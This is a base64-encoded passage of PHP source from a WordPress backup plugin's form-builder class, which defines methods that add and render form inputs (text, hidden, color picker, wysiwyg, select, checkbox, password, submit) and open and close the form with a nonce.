bnN0cnVjdCggJGZvcm1fbmFtZSwgJHNhdmVfcG9pbnQgPSAnJywgJGFkZGl0aW9uYWxfcXVlcnlfc3RyaW5nID0gJycgKSB7CgkJJHRoaXMtPl9mb3JtX25hbWUgICAgICAgICAgICAgICA9ICRmb3JtX25hbWU7CgkJJHRoaXMtPl9zYXZlX3BvaW50ICAgICAgICAgICAgICA9ICRzYXZlX3BvaW50OwoJCSR0aGlzLT5fYWRkaXRpb25hbF9xdWVyeV9zdHJpbmcgPSAkYWRkaXRpb25hbF9xdWVyeV9zdHJpbmc7CgkJJHRoaXMtPl9wcmVmaXggICAgICAgICAgICAgICAgICA9ICdwYl8nIC4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJzsKCX0gLy8gRW5kIF9fY29uc3RydWN0KCkuCgoJLyoqCgkgKiBBZGQgYSB0ZXh0IGlucHV0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZSAgVmFsdWUgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkcnVsZXMgIChvcHRpb25hbCkgUnVsZXMgdG8gdmFsaWRhdGUgdGhpcyBmb3JtIGl0ZW0gYWdhaW5zdC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHRleHQoICRuYW1lLCAkdmFsdWUsICRydWxlcyA9ICcnICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdID0gYXJyYXkoCgkJCSd0eXBlJyAgPT4gX19GVU5DVElPTl9fLAoJCQkndmFsdWUnID0+ICR2YWx1ZSwKCQkJJ3J1bGVzJyA9PiAkcnVsZXMsCgkJKTsKCX0gLy8gRW5kIHRleHQoKS4KCgkvKioKCSAqIEFkZCBhIHRleHQgaW5wdXQsIHdpdGggTk8gUlVMRVMhCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbmFtZSAgIE5hbWUgLyBzbHVnIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHZhbHVlICBWYWx1ZSBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBwbGFpbnRleHQoICRuYW1lLCAkdmFsdWUgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnICA9PiBfX0ZVTkNUSU9OX18sCgkJCSd2YWx1ZScgPT4gJHZhbHVlLAoJCSk7Cgl9IC8vIEVuZCB0ZXh0KCkuCgoJLyoqCgkgKiBBZGQgYSBjb2xvciBpbnB1dDsgdGhpcyBpcyBhIHRleHQgaW5wdXQgdGhhdCBoYXMgYSBjb2xvciBzZWxlY3Rvci4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBjb2xvciggJG5hbWUsICR2YWx1ZSwgJHJ1bGVzID0gJycgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnICA9PiBfX0ZVTkNUSU9OX18sCgkJCSd2YWx1ZScgPT4gJHZhbHVlLAoJCQkncnVsZXMnID0+ICRydWxlcywKCQkpOwoJfSAvLyBFbmQgY29sb3IoKS4KCgkvKioKCSAqIEFkZCBhIGhpZGRlbiBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBoaWRkZW4oICRuYW1lLCAkdmFsdWUsICRydWxlcyA9ICcnICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdID0gYXJyYXkoCgkJCSd0eXBlJyAgPT4gX19GVU5DVElPTl9fLAoJCQkndmFsdWUnID0+ICR2YWx1ZSwKCQkJJ3J1bGVzJyA9PiAkcnVsZXMsCgkJKTsKCX0gLy8gRW5kIGhpZGRlbigpLgoKCS8qKgoJICogQWRkcyBhIHRleHQgYm94IHd5c2l3eWcuCgkgKgoJICogQHNlZSB3cF9lZGl0b3IoKSBpbiBXb3JkUHJlc3MgY29yZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgICAgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzICAgICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKiBAcGFyYW0gYXJyYXkgICRzZXR0aW5ncyAgV29yZFByZXNzIHNldHRpbmdzIGFycmF5IHRvIHBhc3MgdG8gd3BfZWRpdG9yKCkuIEBzZWUgd3BfZWRpdG9yKCkuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB3eXNpd3lnKCAkbmFtZSwgJHZhbHVlLCAkcnVsZXMgPSAnJywgJHNldHRpbmdzICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdID0gYXJyYXkoCgkJCSd0eXBlJyAgICAgPT4gX19GVU5DVElPTl9fLAoJCQkndmFsdWUnICAgID0+ICR2YWx1ZSwKCQkJJ3J1bGVzJyAgICA9PiAkcnVsZXMsCgkJCSdzZXR0aW5ncycgPT4gJHNldHRpbmdzLAoJCSk7Cgl9IC8vIEVuZCB3eXNpd3lnKCkuCgoJLyoqCgkgKiBBZGQgYSB0ZXh0YXJlYSBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB0ZXh0YXJlYSggJG5hbWUsICR2YWx1ZSwgJHJ1bGVzID0gJycgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnICA9PiBfX0ZVTkNUSU9OX18sCgkJCSd2YWx1ZScgPT4gJHZhbHVlLAoJCQkncnVsZXMnID0+ICRydWxlcywKCQkpOwoJfSAvLyBFbmQgdGV4dGFyZWEoKS4KCgkvKioKCSAqIEFkZCBhIHNlbGVjdCBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gYXJyYXkgICRvcHRpb25zICBBcnJheSBvZiBvcHRpb25zIGZvciB0aGUgZHJvcGRvd24uICBUaGUga2V5IGlzIHRoZSBzbHVnIGFuZCB0aGUgdmFsdWUgaXMgdGhlIHByZXR0eSB1c2VyLWRpc3BsYXllZCBwYXJ0LiA8b3B0aW9uIHZhbHVlPSJhcnJheV9rZXkiPmFycmF5X3ZhbHVlPC9vcHRpb24+LgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgICAgVmFsdWUgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkcnVsZXMgICAgKG9wdGlvbmFsKSBSdWxlcyB0byB2YWxpZGF0ZSB0aGlzIGZvcm0gaXRlbSBhZ2FpbnN0LgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2VsZWN0KCAkbmFtZSwgJG9wdGlvbnMsICR2YWx1ZSwgJHJ1bGVzID0gJycgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnICAgID0+IF9fRlVOQ1RJT05fXywKCQkJJ29wdGlvbnMnID0+ICRvcHRpb25zLAoJCQkndmFsdWUnICAgPT4gJHZhbHVlLAoJCQkncnVsZXMnICAgPT4gJHJ1bGVzLAoJCSk7Cgl9IC8vIEVuZCBzZWxlY3QoKS4KCgkvKioKCSAqIEFkZCBhIHJhZGlvIGlucHV0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgIE5hbWUgLyBzbHVnIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBhcnJheSAgJG9wdGlvbnMgIEFycmF5IG9mIG9wdGlvbnMgZm9yIHRoZSByYWRpbyBpbnB1dHMuIFRoZSBrZXkgaXMgdGhlIHNsdWcgYW5kIHRoZSB2YWx1ZSBpcyB0aGUgcHJldHR5IHVzZXItZGlzcGxheWVkIHBhcnQuIDxpbnB1dCB0eXBlPSJyYWRpbyIgdmFsdWU9ImFycmF5X2tleSI+YXJyYXlfdmFsdWUuCgkgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZSAgICBWYWx1ZSBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICRydWxlcyAgICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiByYWRpbyggJG5hbWUsICRvcHRpb25zLCAkdmFsdWUsICRydWxlcyA9ICcnICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdID0gYXJyYXkoCgkJCSd0eXBlJyAgICA9PiBfX0ZVTkNUSU9OX18sCgkJCSdvcHRpb25zJyA9PiAkb3B0aW9ucywKCQkJJ3ZhbHVlJyAgID0+ICR2YWx1ZSwKCQkJJ3J1bGVzJyAgID0+ICRydWxlcywKCQkpOwoJfSAvLyBFbmQgcmFkaW8oKS4KCgkvKioKCSAqIEFkZCBhIHJhZGlvIGlucHV0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZSAgVmFsdWUgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkcnVsZXMgIChvcHRpb25hbCkgUnVsZXMgdG8gdmFsaWRhdGUgdGhpcyBmb3JtIGl0ZW0gYWdhaW5zdC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHRpdGxlKCAkbmFtZSwgJHZhbHVlLCAkcnVsZXMgPSAnJyApIHsKCQkkdGhpcy0+X2lucHV0c1sgJG5hbWUgXSA9IGFycmF5KAoJCQkndHlwZScgID0+IF9fRlVOQ1RJT05fXywKCQkJJ3ZhbHVlJyA9PiAkdmFsdWUsCgkJCSdydWxlcycgPT4gJHJ1bGVzLAoJCSk7Cgl9IC8vIEVuZCByYWRpbygpLgoKCS8qKgoJICogQWRkcyBjdXN0b20gaHRtbCBhcyBhbiBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICRodG1sICBIVE1MIGNvbnRlbnQuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBodG1sKCAkbmFtZSwgJGh0bWwgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnID0+IF9fRlVOQ1RJT05fXywKCQkJJ2h0bWwnID0+ICRodG1sLAoJCSk7Cgl9CgoJLyoqCgkgKiBBZGQgYSBjaGVja2JveCBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gYXJyYXkgICRvcHRpb25zICBBcnJheSBmb3JtYXQ6IGFycmF5KCAndW5jaGVja2VkJyA9PiAndW5jaGVja2VkX3ZhbHVlJywgJ2NoZWNrZWQnID0+ICdjaGVja2VkX3ZhbHVlJyApLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgICAgVmFsdWUgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkcnVsZXMgICAgKG9wdGlvbmFsKSBSdWxlcyB0byB2YWxpZGF0ZSB0aGlzIGZvcm0gaXRlbSBhZ2FpbnN0LgoJICovCglwdWJsaWMgZnVuY3Rpb24gY2hlY2tib3goICRuYW1lLCAkb3B0aW9ucywgJHZhbHVlLCAkcnVsZXMgPSAnJyApIHsKCQkkdGhpcy0+X2lucHV0c1sgJG5hbWUgXSA9IGFycmF5KAoJCQkndHlwZScgICAgPT4gX19GVU5DVElPTl9fLAoJCQknb3B0aW9ucycgPT4gJG9wdGlvbnMsCgkJCSd2YWx1ZScgICA9PiAkdmFsdWUsCgkJCSdydWxlcycgICA9PiAkcnVsZXMsCgkJKTsKCX0gLy8gRW5kIGNoZWNrYm94KCkuCgoJLyoqCgkgKiBBZGQgYSBwYXNzd29yZCBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4KCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzICAob3B0aW9uYWwpIFJ1bGVzIHRvIHZhbGlkYXRlIHRoaXMgZm9ybSBpdGVtIGFnYWluc3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBwYXNzd29yZCggJG5hbWUsICR2YWx1ZSwgJHJ1bGVzID0gJycgKSB7CgkJJHRoaXMtPl9pbnB1dHNbICRuYW1lIF0gPSBhcnJheSgKCQkJJ3R5cGUnICA9PiBfX0ZVTkNUSU9OX18sCgkJCSd2YWx1ZScgPT4gJHZhbHVlLAoJCQkncnVsZXMnID0+ICRydWxlcywKCQkpOwoJfSAvLyBFbmQgcGFzc3dvcmQoKS4KCgkvKioKCSAqIEFkZCBhIHN1Ym1pdCBpbnB1dC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgTmFtZSAvIHNsdWcgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFZhbHVlIGZvciB0aGlzIGZvcm0gaXRlbS4gVGhpcyBpcyB0aGUgdGV4dCBpbiB0aGUgZGlzcGxheWVkIGJ1dHRvbi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN1Ym1pdCggJG5hbWUsICR2YWx1ZSA9ICcnICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdID0gYXJyYXkoCgkJCSd0eXBlJyAgPT4gX19GVU5DVElPTl9fLAoJCQkndmFsdWUnID0+ICR2YWx1ZSwKCQkpOwoJfSAvLyBFbmQgc3VibWl0KCkuCgoJLyoqCgkgKiBTdGFydHMgdGhlIGZvcm0gb3V0cHV0LiBBdXRvbWF0aWNhbGx5IHJ1bnMgdW5kZXIgbm9ybWFsIGNpcmN1bXN0YW5jZXMgc28gdXN1YWxseSBzaG91bGQgbm90IG5lZWQgdG8gYmUgY2FsbGVkIGRpcmVjdGx5LgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBGb3JtIEhUTUwuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzdGFydCgpIHsKCQkkdGhpcy0+X3N0YXJ0ZWQgPSB0cnVlOwoKCQlpZiAoIGZhbHNlICE9PSBzdHJpc3RyKCAkdGhpcy0+X2FkZGl0aW9uYWxfcXVlcnlfc3RyaW5nLCAnaHR0cCcgKSApIHsKCQkJJGFjdGlvbl91cmwgPSAkdGhpcy0+X2FkZGl0aW9uYWxfcXVlcnlfc3RyaW5nOwoJCX0gZWxzZSB7CgoJCQlpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpICE9ICcnICkgewoJCQkJJGFjdGlvbl91cmwgPSBwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKSAuICcmJyAuICR0aGlzLT5fYWRkaXRpb25hbF9xdWVyeV9zdHJpbmc7CgkJCX0gZWxzZSB7CgkJCQkkYWN0aW9uX3VybCA9ICc/JyAuICR0aGlzLT5fYWRkaXRpb25hbF9xdWVyeV9zdHJpbmc7CgkJCX0KCQl9CgoJCSRyZXR1cm4gID0gJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInIC4gJGFjdGlvbl91cmwgLiAnIiBjbGFzcz0icGJfZm9ybSBwYl9mb3JtICcgLiAkdGhpcy0+X3ByZWZpeCAuICR0aGlzLT5fZm9ybV9uYW1lIC4gJ19mb3JtIiBpZD0iJyAuICR0aGlzLT5fcHJlZml4IC4gJHRoaXMtPl9mb3JtX25hbWUgLiAnX2Zvcm0iPic7CgkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICR0aGlzLT5fcHJlZml4IC4gJyIgdmFsdWU9IicgLiAkdGhpcy0+X2Zvcm1fbmFtZSAuICciPic7CgkJcmV0dXJuICRyZXR1cm47Cgl9IC8vIEVuZCBzdGFydCgpLgoKCS8qKgoJICogRW5kcyB0aGUgZm9ybSBzZXR0aW5nIG5vbmNlIGFuZCBjbG9zaW5nIDwvZm9ybT4uIE5PVCBhdXRvbWF0aWNhbGx5IHJ1biBleGNlcHQgaW4gcGx1Z2luYnVkZHlfc2V0dGluZ3MgY2xhc3MuCgkgKgoJICogQHBhcmFtIGJvb2wgJGVjaG8gIEVjaG9zIHRoZSBmb3JtIGh0bWwuCgkgKgoJICogQHJldHVybiBzdHJpbmd8bnVsbCAgTnVsbCBpZiBlY2hvLCBGb3JtIEhUTUwgaWYgJGVjaG8gZmFsc2UuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBlbmQoICRlY2hvID0gZmFsc2UgKSB7CgkJJHRoaXMtPl9lbmRlZCA9IHRydWU7CgoJCSRyZXR1cm4gID0gcGJfYmFja3VwYnVkZHk6Om5vbmNlKCBmYWxzZSApOyAvLyBEbyBub3QgZWNoby4KCQkkcmV0dXJuIC49ICc8L2Zvcm0+JzsKCgkJaWYgKCB0cnVlID09PSAkZWNobyApIHsKCQkJZWNobyAkcmV0dXJuOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkcmV0dXJuOwoJCX0KCX0gLy8gRW5kIGVuZCgpLgoKCS8qKgoJICogRGlzcGxheXMgKGVjaG9zKSBhIGZvcm0gaXRlbSBhbmQgYWxsIGl0cyBjb2RlL0hUTUwuCgkgKgoJICogQHNlZSBwbHVnaW5idWRkeV9mb3JtLT5nZXQoKS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICRjc3MgICBBZGRpdGlvbmFsIENTUyB0byBhcHBseSB0byBmb3JtIGl0ZW0uCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBkaXNwbGF5KCAkbmFtZSwgJGNzcyA9ICcnICkgewoJCWVjaG8gJHRoaXMtPmdldCggJG5hbWUsICRjc3MgKTsKCX0gLy8gRW5kIGRpc3BsYXkoKS4KCgkvKioKCSAqIFJldHVybnMgYSBmb3JtIGl0ZW0gYW5kIGFsbCBpdHMgY29kZS9IVE1MLgoJICogTGVmdCBjb2x1bW4gaXMgaGlkZGVuIGlmIGFuIG9iamVjdCdzIHRpdGxlID0gJycuCgkgKiB0aXRsZSBvYmplY3QgdHlwZSBjb2xzcGFucyAyLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKiBAcGFyYW0gc3RyaW5nICRjc3MgICAgICAgICAgQWRkaXRpb25hbCBDU1MgdG8gYXBwbHkgdG8gZm9ybSBpdGVtLgoJICogQHBhcmFtIHN0cmluZyAkY2xhc3NlcyAgICAgIENTUyBDbGFzcyBuYW1lcyBmb3IgZWxlbWVudHMuCgkgKiBAcGFyYW0gc3RyaW5nICRvcmllbnRhdGlvbiAgT3B0aW9uYWw6IGhvcml6b250YWwgb3IgdmVydGljYWwuIERlZmF1bHQ6IGhvcml6b250YWwuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIEFsbCBIVE1MLCBldGMgZm9yIHRoaXMgZm9ybSBpdGVtLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0KCAkbmFtZSwgJGNzcyA9ICcnLCAkY2xhc3NlcyA9ICcnLCAkb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcgKSB7CgkJaWYgKCB0cnVlID09PSAkdGhpcy0+X2VuZGVkICkgeyAvLyBGb3JtIGFscmVhZHkgY2xvc2VkIGFuZCBlbmRlZC4gRmF0YWwgcHJvYmxlbS4KCQkJcmV0dXJuICd7RXJyb3I6IEZvcm0gYWxyZWFkeSBjbG9zZWQgd2l0aCBlbmQgZnVuY3Rpb24gc28gY2Fubm90IGFkZCBtb3JlIGZpZWxkcy4gT25seSBlbmQgaW4gdmlldyBhZnRlciBhbGwgZGlzcGxheXMgYXJlIGRvbmUufSc7CgkJfQoKCQlpZiAoIGlzc2V0KCAkdGhpcy0+X2lucHV0c1sgJG5hbWUgXSApICkgewoJCQkkcHJlZml4ID0gJHRoaXMtPl9wcmVmaXg7CgoJCQlpZiAoIGZhbHNlID09PSAkdGhpcy0+X3N0YXJ0ZWQgKSB7IC8vIEZvcm0gb3V0cHV0IGhhcyBub3Qgc3RhcnRlZC4gU3RhcnQgaXQuCgkJCQkkcmV0dXJuID0gJHRoaXMtPnN0YXJ0KCk7CgkJCX0gZWxzZSB7CgkJCQkkcmV0dXJuID0gJyc7CgkJCX0KCgkJCSRpbnB1dCA9ICYkdGhpcy0+X2lucHV0c1sgJG5hbWUgXTsKCgkJCWlmICggJycgIT0gJGNzcyApIHsKCQkJCSRjc3MgPSAnIHN0eWxlPSInIC4gJGNzcyAuICciJzsKCQkJfQoKCQkJJGlkID0gJHByZWZpeCAuIHN0cl9yZXBsYWNlKCAnIycsICdfXycsICRuYW1lICk7CgoJCQlpZiAoICd0ZXh0JyA9PSAkaW5wdXRbJ3R5cGUnXSApIHsKCgkJCQkkcmV0dXJuIC49ICc8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9IicgLiAkY2xhc3NlcyAuICciIG5hbWU9IicgLiAkcHJlZml4IC4gJG5hbWUgLiAnIiB2YWx1ZT0iJyAuICRpbnB1dFsndmFsdWUnXSAuICciIGlkPSInIC4gZXNjX2F0dHIoICRpZCApIC4gJyInIC4gJGNzcyAuICc+JzsKCgkJCX0gZWxzZWlmICggJ3BsYWludGV4dCcgPT0gJGlucHV0Wyd0eXBlJ10gKSB7CgoJCQkJJHJldHVybiAuPSAnPHNwYW4gY2xhc3M9IicgLiAkY2xhc3NlcyAuICciICcgLiAkY3NzIC4gJz4nIC4gJGlucHV0Wyd2YWx1ZSddIC4gJzwvc3Bhbj4nOwoKCQkJfSBlbHNlaWYgKCAnY29sb3InID09ICRpbnB1dFsndHlwZSddICkgewoKCQkJCS8vIFRPRE86IHRoaXMgYWN0dWFsbHkgc2hvdWxkIG9ubHkgcnVuIG9uY2UgcGVyIFBBR0UgbG9hZC4gYWRkIGEgZnVuY3Rpb24gaXNfc2NyaXB0IGFuZCBpc19zdHlsZSBpbnRvIGZyYW1ld29yayB0byBzZWUgaWYgbG9hZGVkIGludG8gZnJhbWV3b3JrIHlldCBvciBub3QuCgkJCQlpZiAoIGZhbHNlID09PSAkdGhpcy0+X2xvYWRlZF9jb2xvciApIHsgLy8gT25seSBsb2FkIHRoZSBqYXZhc2NyaXB0LCBDU1MsIGV0YyBvbmNlIHBlciBpbnN0YW5jZS4KCQkJCQlwYl9iYWNrdXBidWRkeTo6bG9hZF9zY3JpcHQoICdqcXVlcnkubWluaUNvbG9ycy5taW4uanMnLCB0cnVlICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdqcXVlcnkubWluaUNvbG9ycy5jc3MnLCB0cnVlICk7CgkJCQkJZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KCBmdW5jdGlvbigpIHsKCQkJCQkJalF1ZXJ5KCAiLnBiX2NvbG9ycGlja2VyIiApLm1pbmlDb2xvcnMoeyBsZXR0ZXJDYXNlOiAidXBwZXJjYXNlIiB9KTsKCQkJCQkJfSk7CgkJCQkJPC9zY3JpcHQ+CgkJCQkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJCQkJLm1pbmlDb2xvcnMtdHJpZ2dlciB7CgkJCQkJCQliYWNrZ3JvdW5kOiB1cmwoICcgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9wbHVnaW5idWRkeS9pbWFnZXMvbWluaWNvbG9ycy90cmlnZ2VyLnBuZyApIGNlbnRlciBuby1yZXBlYXQ7CgkJCQkJCX0KCQkJCQkJLm1pbmlDb2xvcnMtY29sb3JzIHsKCQkJCQkJCWJhY2tncm91bmQ6IHVybCggJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL3BsdWdpbmJ1ZGR5L2ltYWdlcy9taW5pY29sb3JzL2dyYWRpZW50LnBuZyApIGNlbnRlciBuby1yZXBlYXQ7CgkJCQkJCX0KCQkJCQkJLm1pbmlDb2xvcnMtaHVlcyB7CgkJCQkJCQliYWNrZ3JvdW5kOiB1cmwoICcgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9wbHVnaW5idWRkeS9pbWFnZXMvbWluaWNvbG9ycy9yYWluYm93LnBuZyApIGNlbnRlciBuby1yZXBlYXQ7CgkJCQkJCX0KCQkJCQkJLm1pbmlDb2xvcnMtY29sb3JQaWNrZXIgewoJCQkJCQkJYmFja2dyb3VuZDogdXJsKCAnIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvcGx1Z2luYnVkZHkvaW1hZ2VzL21pbmljb2xvcnMvY2lyY2xlLmdpZiApIGNlbnRlciBuby1yZXBlYXQ7CgkJCQkJCX0KCQkJCQkJLm1pbmlDb2xvcnMtaHVlUGlja2VyIHsKCQkJCQkJCWJhY2tncm91bmQ6IHVybCggJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL3BsdWdpbmJ1ZGR5L2ltYWdlcy9taW5pY29sb3JzL2xpbmUuZ2lmICkgY2VudGVyIG5vLXJlcGVhdDsKCQkJCQkJfQoJCQkJCTwvc3R5bGU+JzsKCQkJCQkkdGhpcy0+X2xvYWRlZF9jb2xvciA9IHRydWU7CgkJCQl9CgoJCQkJaWYgKCAnJyA9PSAkY3NzICkgeyAvLyBkZWZhdWx0IHdpZHRoLgoJCQkJCSRjc3MgPSAnIHN0eWxlPSJ3aWR0aDogNjBweDsiJzsKCQkJCX0KCgkJCQkkcmV0dXJuIC49ICc8aW5wdXQgY2xhc3M9InBiX2NvbG9ycGlja2VyICcgLiAkY2xhc3NlcyAuICciIHR5cGU9InRleHQiIG5hbWU9IicgLiAkcHJlZml4IC4gJG5hbWUgLiAnIiB2YWx1ZT0iJyAuICRpbnB1dFsndmFsdWUnXSAuICciIGlkPSInIC4gZXNjX2F0dHIoICRpZCApIC4gJyInIC4gJGNzcyAuICc+JzsKCgkJCX0gZWxzZWlmICggJ2hpZGRlbicgPT0gJGlucHV0Wyd0eXBlJ10gKSB7CgoJCQkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICRwcmVmaXggLiAkbmFtZSAuICciIHZhbHVlPSInIC4gJGlucHV0Wyd2YWx1ZSddIC4gJyIgY2xhc3M9IicgLiAkY2xhc3NlcyAuICciIGlkPSInIC4gZXNjX2F0dHIoICRpZCApIC4gJyInIC4gJGNzcyAuICc+JzsKCgkJCX0gZWxzZWlmICggJ3d5c2l3eWcnID09ICRpbnB1dFsndHlwZSddICkgewoKCQkJCSR3eXNpd3lnX3NldHRpbmdzID0gYXJyYXlfbWVyZ2UoICRpbnB1dFsnc2V0dGluZ3MnXSwgYXJyYXkoICd0ZXh0YXJlYV9uYW1lJyA9PiAkcHJlZml4IC4gJG5hb